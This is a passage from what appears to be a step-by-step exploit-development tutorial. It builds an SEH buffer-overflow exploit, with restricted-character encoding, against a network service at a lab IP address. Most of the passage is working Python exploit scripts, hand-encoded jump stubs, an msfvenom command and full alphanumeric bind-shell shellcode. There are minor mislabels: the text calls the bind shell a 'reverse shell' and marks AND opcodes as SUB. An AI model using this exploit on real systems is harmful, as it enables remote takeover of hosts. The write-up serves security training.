\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Bad Characters Converted To:

80 -> 01
81 -> 02
82 -> 03
83 -> 04
84 -> 05
85 -> 06
86 -> 07
87 -> 08
88 -> 09 
89 -> 0A
90 -> 0B
91 -> 0C
92 -> 0D
93 -> 78
94 -> 39
95 -> 33
96 -> 15
97 -> 16
98 -> 17
99 -> 18
9a -> 19
9b -> 1a
9c -> 1b
9d -> 1c
9e -> 1d
9f -> 1e
a0 -> 1f
a1 -> 20 
a2 -> 21
a3 -> 22
a4 -> 23
a5 -> 24
a6 -> 25
a7 -> 26
a8 -> 27
a9 -> 28
aa -> 29
ab -> 2a
ac -> 2b
ad -> 2c
ae -> 2d
AF -> 30
B0 -> 31
B1 -> 32
B2 -> 33
B3 -> 34
B4 -> 35
B5 -> 36
B6 -> 37
B7 -> 38
B8 -> 39
B9 -> 3A
BA -> 3B
BB -> 3C
BC -> 3D
BD -> 3E 
BE -> 3F
BF -> 40
C0 -> 41
C1 -> 42
C2 -> 43
C3 -> 44
C4 -> 45
C5 -> 46
C6 -> 47
C7 -> 48
C8 -> 49
C9 -> 4A
CA -> 4B
CB -> 4C
CC -> 4D
CD -> 4E
CE -> 4F
CF -> 50
D0 -> 51
D1 -> 52
D2 -> 53
D3 -> 54
D4 -> 55
D5 -> 56
D6 -> 57
D7 -> 58
D8 -> 59
D9 -> 5A 
DA -> 5B
DB -> 5C
DC -> 5D
DD -> 5E
DE -> 5F
DF -> 60
E0 -> 61
E1 -> 62
E2 -> 63
E3 -> 64
E4 -> 65
E5 -> 66
E6 -> 67
E7 -> 69
E8 -> 69
E9 -> 6A
EA -> 6B
EB -> 6C
EC -> 6D
ED -> 6E
EE -> 6F
EF -> 70
F0 -> 71
F1 -> 72
F2 -> 73
F3 -> 74
F4 -> 75
F5 -> 76
F6 -> 77 
F7 -> 78
F8 -> 79
F9 -> 7A
FA -> 7B
FB -> 7C
FC -> 7D
FD -> 7E
FE -> 7F
FF -> 80

Noticing the pattern that 01 through 7F were accepted as good characters, it was determined that the application was filtering for ASCII characters only

6.0 Safe Pop Pop Ret

Having identified that the program will only accept ASCII encoded characters, we can then use mona to find a safe PPR address and return any compatible addresses. We generate the seh.txt file by issuing !mona seh -cpb '\x00' ascii command:

Run Find-Safe-Address.py to identify all safe PPR address from seh.txt.

6.1 Confirm Safe PPR Address

Using the Find-Safe-Address.py script the following address was chosen 0x6250160a. Using immunity restart the application, set a breakpoint at 0x6250160a and update the POC as shown below and execute it.

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "LTER /.:/"
payload += "A" * 3495 # junk
payload += "A" * 4 # nseh
payload += struct.pack("<I",0x6250160a) # seh
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

Hit F9 to pass the exception and we should hit the breakpoint - Figure 30.

7. Jump Over SEH

Stepping into our buffer using F7 we can see that we have 4 bytes before we hit the SEH instructions - Figure 31. We will need to hop over these instructions into the D buffer. Unfortunately using nSEH, we can’t directly write a X byte jump code to meet D buffer as the short jump opcode (\xeb) is a bad char. To circumvent this, we can use a conditional jump. The following article explains how this works in a detailed manner - https://buffered.io/posts/jumping-with-bad-chars/. Restart the application in immunity, set a breakpoint at 0x6250160a and execute the updated POC below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "LTER /.:/"
payload += "A" * 3495 # junk
payload += "\x77\x0b\x76\x09" # nseh
payload += struct.pack("<I",0x6250160a) # seh
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

As can be seen during crash the breakpoint is hit and after stepping through POP POP RET, control goes to the nSEH. After that it executes all instructions stored on nSEH and finally jumps forward and lands in the D buffer block.

8. Jumping Out Of Small Buffer

As can be seen in Figure 32, we have approximately 22 bytes remaining. Due to the limited buffer space remaining we will need to somehow jump backwards into our A buffer to gain more space.

We can use the following trick to achieve this. If we remember from earlier in Section 5, a lot of the bad characters were mangled by the application. One of those characters was FF which ended up being converted to 80. This conversion will allow us to use the same trick used above to hop over the SEH instructions and jump backwards into our A buffer. Restart the application, set a breakpoint at 0x6250160aand run the updated exploit shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "LTER /.:/"
payload += "A" * 3495 # junk
payload += "\x77\x0b\x76\x09" # nseh
payload += struct.pack("<I",0x6250160a) # seh
payload += "B" * 8
payload += "\x70\xff\x71\xff" # take advantage of the character conversion of ff to 80
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

Taking advantage of the character conversion of ff to 80 this will allow us to perform a negative jump 128 bytes backwards into our A buffer as shown in Figure 34.

From here we have two options. We can implement an egghunter or we can encode instructions to jump back to the start of our A buffer.

For the purposes of this demonstration we will encode a long jump back to the start of our A buffer. As there is approximately 3400 bytes between EIP and the start of our A buffer and due to the number of restricted characters we will more than likely have to encode our long jump to make it easier for ourselves.

8.1 Adjust ESP

Before we calculate the distance we need for our long jump, we must first align our stack so that ESP will point to the beginning of where we want our encoded jump to be. To do this, some calculations are needed in order to align ESP. We will use the EAX register to perform these calculations. The following "Template" is used in order to correctly align ESP.

push esp # Push ESP onto the stack
pop eax  # Pop that value into EAX
add ax, 0x??? # Add x amount of bytes - this will be the difference of where ESP currently points to and the address of where you would like it to point to
push eax # Push this new EAX value onto the stack
pop esp  # Pop this value into ESP

As can be seen from Figure 35, we have pushed ESP onto the stack and then popped that value into EAX showing a value of 00B7EE50 - (current ESP value).

Note: AX was chosen instead of EAX due to the restricted character set.

The next step is to calculate an address which is divisible by four and is located a couple of bytes after the address where our template ends. This address will be the address of where our shellcode begins. To get this value we first need to know our encoded shellcode length.

8.2 Generating Encoded Long Jump

Before we generate our shellcode we must first calculate the distance between where our A buffer starts and the address of where our decoded shellcode will be placed. Estimating that our encoded long jump will consume approximately 60 bytes from our current EIP value, address 00B7FFB7 was chosen.

Note - Sometimes this stage requires some trial and error to find a suitable address.

As can be seen from Figure 36 our A buffer starts at address 00B7F235. Next we need to find the distance between the address where our decoded long jump would be placed - 00B7FFB7 and the starting address of our A buffer 00B7F235 which is 3450 bytes. So we will need to jump backwards 3450 bytes to get to the start of our A buffer. We can make use of the msf-metasm_shell utility to convert this instruction to shellcode.

Run eax_sub_encoder.py.py to encode the long jump instruction.

8.3 Adjust ESP - Continued

Now that we know that our encoded shellcode will take up 55 bytes we can finish adjusting our esp value.

push esp # Push ESP onto the stack
pop eax  # Pop that value into EAX
ADD AX,1167 # distance between ESP (00B7EE50) and 00B7FFB7
push eax # Push this new EAX value onto the stack
pop esp  # Pop this value into ESP

Restart the application, set a breakpoint at 0x6250160aand run the updated exploit shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

encoded_shellcode = ( 
# Encoded: ff909090
"\x25\x41\x41\x41\x41"  # SUB EAX,41414141
"\x25\x3E\x3E\x3E\x3E"  # SUB EAX,3E3E3E3E
"\x2d\x4e\x09\x44\x47"  # SUB EAX,4744094e
"\x2d\x4b\x61\x15\x0b"  # SUB EAX,0b15614b
"\x2d\x68\x04\x16\x1d"  # SUB EAX,1d160468
"\x50"                  # PUSH EAX

# Encoded: e981f2ff
"\x25\x41\x41\x41\x41"  # SUB EAX,41414141
"\x25\x3E\x3E\x3E\x3E"  # SUB EAX,3E3E3E3E
"\x2d\x47\x29\x29\x28"  # SUB EAX,28292947
"\x2d\x77\x37\x67\x76"  # SUB EAX,76673777
"\x2d\x59\x1d\x7d\x61"  # SUB EAX,617d1d59
"\x50"                  # PUSH EAX
)

payload = "LTER /.:/"
payload += "A" * (3495 - 108)
payload += '\x54\x58\x66\x05\x67\x11\x50\x5C' # align stack to point to start of encoded shellcode
payload += encoded_shellcode # jmp backwards to start of a buffer
payload += "A" * (100 - len(encoded_shellcode))

payload += "\x77\x0b\x76\x09" # nseh
payload += struct.pack("<I",0x6250160a) # seh
payload += "B" * 8
payload += "\x70\xff\x71\xff" # take advantage of the character conversion of ff to 80 and jmp backwards
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

Stepping through our instructions we can see our long jump back appear (Figure 39) which will take us back to the start of our A buffer appear - Figure 40.

9. Final Steps

Due to the number of restricted characters we will also need to encode our final payload so that it conforms to the restricted character set. However, before we generate our final payload we must again align our stack so that ESP will point to the beginning of our encoded shellcode.

9.1 Adjust ESP

As Offensive Security explains here, even with the -e x86/alpha_mixed option, msfvenom will prepend \x89\xe2\xdb\xdb\xd9\x72 to our payload which is NOT alphanumeric. The purpose of these opcodes is so the payload can determine where it is located in absolute memory, a work around is to use the BufferRegister=REG32 (i.e. BufferRegister=ESP as shown above) option and specify a register that’s pointed at our shellcode.

To do this, some calculations are needed in order to align ESP. We will use the EAX register to perform these calculations. The following "Template" is used in order to correctly align ESP.

push ebp # Push EBP onto the stack (EBP was chosen as it is the closest to our current position
pop eax # Pop that value into EAX
add ax, 0x??? # Add x amount of bytes - this will be the difference of where ESP currently points to and the address of where you would like it to point to
push eax # Push this new EAX value onto the stack
pop esp  # Pop this value into ESP

As can be seen from Figure 41, we have pushed EBP onto the stack and then popped that value into EAX showing a value of 00B7EF2C - (current EBP value).

Note: AX was chosen instead of EAX due to the restricted character set. EBP was chosen as it was the closest address to our current position - (Closest to EIP)

The next step is to calculate an address which is divisible by four and is located a couple of bytes after the address where our template ends. This address will be the address of where our shellcode begins. This is illustrated below

As can be seen from Figure 41, EBP points to 00B7EF2C. Address 00B7F240 was identified to be a suitable address to begin our shellcode as shown in Figure 42. By adding 788 bytes to AX (314 in hex) we can adjust ESP so that it now points to this address as shown in Figure 42.

Restart the application in immunity, set a breakpoint at 0x6250160aand execute the updated POC shown below to replicate these results:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

encoded_shellcode = ( 
# Encoded: ff909090
"\x25\x41\x41\x41\x41"  # SUB EAX,41414141
"\x25\x3E\x3E\x3E\x3E"  # SUB EAX,3E3E3E3E
"\x2d\x4e\x09\x44\x47"  # SUB EAX,4744094e
"\x2d\x4b\x61\x15\x0b"  # SUB EAX,0b15614b
"\x2d\x68\x04\x16\x1d"  # SUB EAX,1d160468
"\x50"                  # PUSH EAX

# Encoded: e981f2ff
"\x25\x41\x41\x41\x41"  # SUB EAX,41414141
"\x25\x3E\x3E\x3E\x3E"  # SUB EAX,3E3E3E3E
"\x2d\x47\x29\x29\x28"  # SUB EAX,28292947
"\x2d\x77\x37\x67\x76"  # SUB EAX,76673777
"\x2d\x59\x1d\x7d\x61"  # SUB EAX,617d1d59
"\x50"                  # PUSH EAX
)



payload = "LTER /.:/"
payload += "\x55\x58\x66\x05\x14\x03\x50\x5C" # align stack to point to start of shellcode
payload += "A" * (3495 - 116)
payload += '\x54\x58\x66\x05\x67\x11\x50\x5C' # align stack to point to start of encoded shellcode
payload += encoded_shellcode # jmp backwards to start of a buffer
payload += "A" * (100 - len(encoded_shellcode))

payload += "\x77\x0b\x76\x09" # nseh
payload += struct.pack("<I",0x6250160a) # seh
payload += "B" * 8
payload += "\x70\xff\x71\xff" # take advantage of the character conversion of ff to 80 and jmp backwards
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

9.2 Generating Payload

Now that we have successfully adjusted ESP so that it will point to the start of our shellcode, we are now ready to generate the payload. The following command was used to generate our shellcode:

msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' -f python -e x86/alpha_mixed bufferregister=esp -v shellcode

9.3 Getting Shell

Restart the application and execute the updated POC shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

encoded_shellcode = ( 
# Encoded: ff909090
"\x25\x41\x41\x41\x41"  # SUB EAX,41414141
"\x25\x3E\x3E\x3E\x3E"  # SUB EAX,3E3E3E3E
"\x2d\x4e\x09\x44\x47"  # SUB EAX,4744094e
"\x2d\x4b\x61\x15\x0b"  # SUB EAX,0b15614b
"\x2d\x68\x04\x16\x1d"  # SUB EAX,1d160468
"\x50"                  # PUSH EAX

# Encoded: e981f2ff
"\x25\x41\x41\x41\x41"  # SUB EAX,41414141
"\x25\x3E\x3E\x3E\x3E"  # SUB EAX,3E3E3E3E
"\x2d\x47\x29\x29\x28"  # SUB EAX,28292947
"\x2d\x77\x37\x67\x76"  # SUB EAX,76673777
"\x2d\x59\x1d\x7d\x61"  # SUB EAX,617d1d59
"\x50"                  # PUSH EAX
)

shellcode =  b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x79"
shellcode += b"\x78\x4e\x62\x77\x70\x65\x50\x53\x30\x71\x70"
shellcode += b"\x6c\x49\x4a\x45\x75\x61\x6f\x30\x75\x34\x6e"
shellcode += b"\x6b\x70\x50\x76\x50\x6c\x4b\x36\x32\x54\x4c"
shellcode += b"\x4c\x4b\x62\x72\x56\x74\x6c\x4b\x43\x42\x75"
shellcode += b"\x78\x46\x6f\x58\x37\x43\x7a\x44\x66\x44\x71"
shellcode += b"\x4b\x4f\x6e\x4c\x65\x6c\x53\x51\x73\x4c\x75"
shellcode += b"\x52\x64\x6c\x57\x50\x5a\x61\x68\x4f\x44\x4d"
shellcode += b"\x37\x71\x5a\x67\x4d\x32\x68\x72\x76\x32\x72"
shellcode += b"\x77\x4e\x6b\x76\x32\x32\x30\x4c\x4b\x53\x7a"
shellcode += b"\x65\x6c\x6e\x6b\x50\x4c\x34\x51\x62\x58\x58"
shellcode += b"\x63\x72\x68\x36\x61\x78\x51\x56\x31\x4e\x6b"
shellcode += b"\x51\x49\x71\x30\x56\x61\x7a\x73\x4e\x6b\x42"
shellcode += b"\x69\x66\x78\x69\x73\x75\x6a\x43\x79\x4c\x4b"
shellcode += b"\x35\x64\x6e\x6b\x57\x71\x58\x56\x66\x51\x4b"
shellcode += b"\x4f\x6e\x4c\x49\x51\x68\x4f\x64\x4d\x33\x31"
shellcode += b"\x58\x47\x34\x78\x69\x70\x52\x55\x49\x66\x77"
shellcode += b"\x73\x63\x4d\x68\x78\x65\x6b\x33\x4d\x55\x74"
shellcode += b"\x73\x45\x78\x64\x30\x58\x4e\x6b\x36\x38\x66"
shellcode += b"\x44\x46\x61\x78\x53\x63\x56\x4e\x6b\x74\x4c"
shellcode += b"\x62\x6b\x6c\x4b\x30\x58\x77\x6c\x66\x61\x68"
shellcode += b"\x53\x6c\x4b\x47\x74\x6e\x6b\x43\x31\x68\x50"
shellcode += b"\x6f\x79\x47\x34\x37\x54\x74\x64\x51\x4b\x33"
shellcode += b"\x6b\x53\x51\x61\x49\x71\x4a\x32\x71\x69\x6f"
shellcode += b"\x6b\x50\x63\x6f\x63\x6f\x63\x6a\x4e\x6b\x32"                                                                                                                                                      
shellcode += b"\x32\x58\x6b\x4c\x4d\x51\x4d\x51\x78\x77\x43"                                                                                                                                                      
shellcode += b"\x36\x52\x43\x30\x35\x50\x42\x48\x50\x77\x32"                                                                                                                                                      
shellcode += b"\x53\x30\x32\x73\x6f\x70\x54\x55\x38\x52\x6c"                                                                                                                                                      
shellcode += b"\x34\x37\x56\x46\x75\x57\x39\x6f\x38\x55\x68"                                                                                                                                                      
shellcode += b"\x38\x4a\x30\x43\x31\x47\x70\x33\x30\x45\x79"                                                                                                                                                      
shellcode += b"\x6b\x74\x63\x64\x46\x30\x73\x58\x76\x49\x6d"                                                                                                                                                      
shellcode += b"\x50\x52\x4b\x55\x50\x6b\x4f\x49\x45\x31\x7a"
shellcode += b"\x47\x78\x30\x59\x62\x70\x7a\x42\x59\x6d\x71"
shellcode += b"\x50\x46\x30\x51\x50\x72\x70\x70\x68\x59\x7a"
shellcode += b"\x44\x4f\x4b\x6f\x4b\x50\x59\x6f\x49\x45\x4d"
shellcode += b"\x47\x75\x38\x76\x62\x77\x70\x64\x51\x71\x4c"
shellcode += b"\x6d\x59\x6a\x46\x50\x6a\x74\x50\x62\x76\x52"
shellcode += b"\x77\x55\x38\x58\x42\x6b\x6b\x57\x47\x73\x57"
shellcode += b"\x39\x6f\x6a\x75\x56\x37\x55\x38\x38\x37\x5a"
shellcode += b"\x49\x64\x78\x79\x6f\x69\x6f\x4b\x65\x56\x37"
shellcode += b"\x32\x48\x73\x44\x48\x6c\x35\x6b\x4d\x31\x4b"
shellcode += b"\x4f\x49\x45\x42\x77\x4f\x67\x61\x78\x71\x65"
shellcode += b"\x42\x4e\x72\x6d\x51\x71\x69\x6f\x6b\x65\x32"
shellcode += b"\x48\x71\x73\x30\x6d\x62\x44\x43\x30\x6f\x79"
shellcode += b"\x4a\x43\x46\x37\x33\x67\x50\x57\x35\x61\x49"
shellcode += b"\x66\x32\x4a\x67\x62\x61\x49\x73\x66\x69\x72"
shellcode += b"\x59\x6d\x75\x36\x6b\x77\x30\x44\x44\x64\x37"
shellcode += b"\x4c\x36\x61\x77\x71\x4c\x4d\x63\x74\x35\x74"
shellcode += b"\x64\x50\x49\x56\x43\x30\x31\x54\x71\x44\x32"
shellcode += b"\x70\x72\x76\x61\x46\x73\x66\x63\x76\x72\x76"
shellcode += b"\x42\x6e\x62\x76\x62\x76\x53\x63\x63\x66\x62"
shellcode += b"\x48\x50\x79\x7a\x6c\x77\x4f\x6f\x76\x49\x6f"
shellcode += b"\x58\x55\x4f\x79\x4d\x30\x70\x4e\x51\x46\x51"
shellcode += b"\x56\x39\x6f\x54\x70\x33\x58\x73\x38\x4c\x47"
shellcode += b"\x45\x4d\x65\x30\x6b\x4f\x5a\x75\x6f\x4b\x68"
shellcode += b"\x70\x4f\x45\x59\x32\x76\x36\x52\x48\x39\x36"
shellcode += b"\x4f\x65\x4f\x4d\x4f\x6d\x79\x6f\x4b\x65\x57"
shellcode += b"\x4c\x66\x66\x33\x4c\x44\x4a\x6f\x70\x6b\x4b"
shellcode += b"\x59\x70\x64\x35\x33\x35\x4d\x6b\x32\x67\x65"
shellcode += b"\x43\x53\x42\x32\x4f\x52\x4a\x55\x50\x51\x43"
shellcode += b"\x79\x6f\x6a\x75\x41\x41"



payload = "LTER /.:/"
payload += "\x55\x58\x66\x05\x14\x03\x50\x5C" # align stack to point to start of shellcode
payload += "A" * 3 # junk so that shellcode starts on address divisible by 4
payload += shellcode
payload += "A" * (3495 - 119 - len(shellcode))
payload += '\x54\x58\x66\x05\x67\x11\x50\x5C' # align stack to point to start of encoded shellcode
payload += encoded_shellcode # jmp backwards to start of a buffer
payload += "A" * (100 - len(encoded_shellcode))

payload += "\x77\x0b\x76\x09" # nseh
payload += struct.pack("<I",0x6250160a) # seh
payload += "B" * 8
payload += "\x70\xff\x71\xff" # take advantage of the character conversion of ff to 80 and jmp backwards
payload += "D" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

Using netcat, connect to the target host using port 4444 and you should now have a reverse shell:

Last updated